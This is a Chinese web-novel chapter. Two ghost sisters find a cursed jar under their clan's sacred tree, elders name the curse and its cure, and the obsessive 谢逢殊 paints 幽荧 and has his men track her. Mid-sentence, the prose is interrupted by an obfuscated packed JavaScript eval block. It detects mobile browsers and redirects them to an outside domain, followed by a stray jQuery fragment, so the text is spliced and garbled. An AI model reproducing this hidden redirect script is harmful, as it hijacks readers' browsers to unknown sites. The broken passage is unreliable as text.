17.阴魂不散

只是打开坛子看了一会儿,她们便觉得浑身上下好像有几千只小虫子在到处乱爬,在她们的身上织出一种难以忍受的潮湿、黏腻。


造成冥神柯异样的源头恐怕就是这坛子里头的东西。


两人重新封好坛子,一致决定要将其带回去,让貊邪婆婆他们看看这下的什么咒。


见妹妹脸色发白,神色不安的样子,幽荧心口也有些堵得慌。


她忽而双臂伸直,将坛子递至幽月面前:“给,你拿着吧。”


幽月眼睛瞪得溜圆。


“我才不要!你拿!”


幽荧:“我不想拿诶,好恶心。”


“……原来也有你讨厌的东西啊?我还以为你天不怕地不怕呢!”幽月抱着胳膊,嗤笑道。


她老姐夹起嗓子,可怜巴巴地撅起嘴巴:


“哎唷、人家也是会害怕的啦。”


然而幽月根本不吃这套:“你挖出来的,你拿。”


空气安静了一会儿,幽荧提议:“咱们虫杠鸡谁输谁拿行不行?”


本想拒绝,可幽荧那两只水汪汪亮晶晶的眼睛实在是快把她闪瞎了,幽月勉为其难地点了点头。


“……好吧。”


真是拿她没办法。


经过三局两胜、五局三胜后,拿坛子的差事最终还是落在了幽荧的身上。


幽荧捂着脸叫苦不迭,悄悄从指缝里瞧幽月那得意洋洋的样子,只听她说:“哼~虽然打不过你,可是运气这方面,我还从来都没输过!”


真是可爱极了,但眼下情形实在紧急,她只能先哄到这儿了。


幽荧上扬的嘴角,在她把手从脸上拿开后又和眉毛一起垂了下去。她一拿起那散发着不妙气息的坛子,整只鬼便有种命很苦的气场,和幽月启程返回。


当姐妹俩的身影终于出现在忘归渊入口时,神台上众人皆松了口气。


幽荧脸色冷峻,朝着神台的方向快步赶来,貊邪和兼雀忙走下石阶迎她。


幽荧将手中坛子放置在石案之上,众人围上前。


“婆婆,我和小月在母树下发现了这个。”


说罢,她小心翼翼地移开坛盖。


“这、这是!”


兼雀怒不可遏,胡须气得发抖:“这是谁这么大胆!竟以此污秽的毒咒欲毁我族根基!”


一边的幽月凭着印象,仔细描述了母树根部的异状。


貊邪重重叹了口气,“这咒名为人首痋,是取人间穷凶极恶之人的头颅,挖去舌目,再浇注以用血亲肉躯混以犬彘下水熬成的咒水,积聚极大的怨气成为咒。”


“古籍所记,冥神柯能依据自身神力净化一些脏秽,但这种来自人间的阴咒对于冥神柯来说却是十分难净化的。”


“母树根系连结我族血脉,一旦其受到污染,我族人也会发生异变,近日来鱼身和长鳞片的婴儿便是最好的印证。”


兼雀沉声:“不仅仅是我族的后代受到影响,恐怕连罔乡都要因此覆灭,因罔乡是依托冥神柯才得以形成的秘境。”


“到时候,我族将再无栖身之地,只能到人间另寻居所。”


幽月听着心烦意乱,总觉这其中实在有太多疑点:“不是说忘归渊只有王族血脉进去才有指引?下咒那王八蛋是怎么做到安然无恙地进入忘归渊的?”


“唉,恐怕是用了什么其他的法子。”


貊邪将坛盖合上,施放幽火将其焚烧,坛身渐渐熔裂,她眸中跃动着那青色的火焰。


幽荧攥紧拳头,手心沁了一层薄薄的冷汗。


她问:“伯伯,此咒可有法子可解?”


“必须取来昆仑山梧桐旁的瑶水,浇灌冥神柯的树根,方可洗去污染,破除痋咒。”


幽荧点点头,“此事事关重大,我们先回宫同我父王与大臣一齐商讨。”


“好,我们立刻出发。”


......


沉水坟骨处,腾起炉香袅袅,丝丝缕缕氤氲了案前人的棱角。


四更天,河倾月落,绮窗外一扇水木明瑟,万物惺忪拆落夜衾,欣欣然将醒。


片刻前他在梦中得见那抹身影,罗裙翩翩,在青色烈焰中倩笑顾盼,他忘情地伸出手引火上身,欲揽她腰身。


却是一枕槐安。


一支断剑改制的精巧铁簪将男人脑后乌黑的缎发簪起。手边油灯烧着,灯光翻越那挺拔的鼻骨不过,明暗在男人的脸上割席。


他垂下浓密的鸦睫,执笔在雪帛上落墨,工笔极尽细腻。


一笔一笔,将心肺勾勒而出,填满画中女子敞开的胸腔。


仍嫌少了一抹传神的妖冶,他啮破手指,让笔尖吸吮猩红,下笔点绛唇。


谢逢殊放下笔,温柔望着画中女子,笑意愈深。


一阵风,将他身后墙上挂着的数张画像吹得轻轻曳动。画像中不变的是那张蛊惑人心的面孔,而躯体被不同地裂解、裁剪。


他撑着头,闭上眼睛,静静听起那道鲜活有力的心跳声。属于她的心跳时缓时急,将他的心撞得如同风浪之中的舟楫。


是思念成疾?他如今总算是尝到了这种钻心蚀骨的折磨。


夫人最近似是遇到忧心事。


真想快点见到她……


终于挨到天明,树的缘故,筛进来的晨曦洋洋洒洒,像一层暖雪披在他身上。


裴璟一进来,衣里的寒风霎时融化,主子正煮了茶等他。


于是恭谨向谢逢殊行礼,目不斜视,见谢逢殊抬手,他才起身,听吩咐跪坐在案前,一盏茶递过来。


“大漠还住的惯?”


“还好,多亏爷精心安排。”


“怎的也比不得这里舒坦,周庶的风病好了?”


“谢爷挂念,自换了郎中后,他好的差不多了,估摸着是之前没有吃对药。”


“那就好,周庶身子比不得你,若不是大漠一行必须得他前去当象胥,我也不想让他太奔波。”


原本周庶要同他一起前来,但主子谅及周庶身子未愈,让他好好在府上休息。


谢逢殊抿了口茶,“大漠的事务以后让独孤去打点再向我汇报,你和周庶继续做原来的。”


“是。”


“最近三个月非甲级委托不要让手下去接,专心护送商队,保证货物完好。”


裴璟颔首,神色一丝不苟:“明白,全听爷吩咐。”


“对了。”


谢逢殊起身从墙上取下一张幽荧的画像,拿给裴璟:“我们在所有地区的人都要认得这张脸,只要有她的动向,务必告诉我。”


裴璟毕恭毕敬接过画像,见是一名面容俏丽的女子,他并不


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782194|172987||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


过问,只按照命令去做。


他知道不该他该问的不问。


但这次主子却反常地主动向他透露女子的信息。


“她是我未过门的夫人,让底下人见到她时说话注意点。”


裴璟怔愣,他不在的时候主子居然有了心上人?


顿觉错亿。


他忍不住再看了看画像。


主子眸中冷戾,裴璟登时把脊背挺得笔直。


“是,爷。”


因周庶不在,再聊大漠的情况也没什么意义,谢逢殊交代完了这几件事,便让他下去了。


还一卷上个月的账薄未翻阅,他且拿起来将要读时,一只灰色的鸽子从窗子飞进来,扑着翅膀落在他身旁的架上,咕咕地鸣叫。


鸽子细枝的腿上绑着一封密函,谢逢殊用小刀割开红绳,取下信笺,展开来看。


从芳都来的消息,楚国已囤兵淮水,一旬内将攻打息国。所幸货物已全部发运出去,不会受到战事影响。


再过些时日,他便要启程前去临川的祖宅祭拜,在那小住一月再回,年年如是。


身子犹存懒惫,谢逢殊出了门,眼见一只蝶从院子里飞出。


这蝶乘着风,飘啊,飘啊,款款身子,停落在少女肩头,只一息,便又翩然离去。


幽荧并未注意,倚在回廊的柱子上,神色阴郁地盯着手中阅过百遍的昆仑山脉地图看,心中依然记挂着幽月那边的情况。


近日小月可都没有传信过来,也不知是不是顺利。


因她要带人取昆仑水,调查人间半鬼的事便落在幽月身上。沈沧给两边都加派了很多人手,族中能者皆尽起用。


族中有鳞化或鱼化的新生儿越来越多,且最终无一能够存活下来。


幽荧茫然抬头颙望,见这天要塌。


一晌午没见着人,寻过来的沈却驻足凝视她落寞的身影,因她最近一直没有笑颜,自己也心里泛苦。


“荧荧。”


他轻声唤。


她见是他,不想让他太担心,紧忙挤出笑容,却也有些勉强。


“阿却,你来了。”


幽荧从他担忧的脸色里察觉出自己的颓然,将地图收进怀里,打起精神,拍拍他肩膀:“听说临川街市上有不少新鲜玩意,我们来了也有半个月了却还从未逛过,正好陪我出去透透气吧!”


“好。”


“萧景明最近总说饭菜没味,待会去铺子里看看,买点辣子给他下饭吃。”


沈却淡淡地应了声。


幽荧和他并排走,“你胃不好,就不要吃辣的了。”


她只用一句话,能让他难过,也能让他高兴。


正走到他们这间宅子的大门,有个双丫髻的小童从树下噔噔噔跑了过来,喊着姐姐奔向幽荧,沈却下意识挡在她身前。


幽荧并不认识这小孩是谁,但察觉他并无恶意,于是弯下腰,刚要问话,那孩子将什么塞到她手上。


“有人给你的信!”


说罢便转身撒丫子跑了,一跑起来,便听见他腰间坠的袋子里头钱币相撞,叮当作响。


沈却挑眉:“不用追?”


幽荧摇摇头,将信帛展开。


开头便是“夫人”二字,看得她眉头紧蹙。


怎么那家伙,阴魂不散的……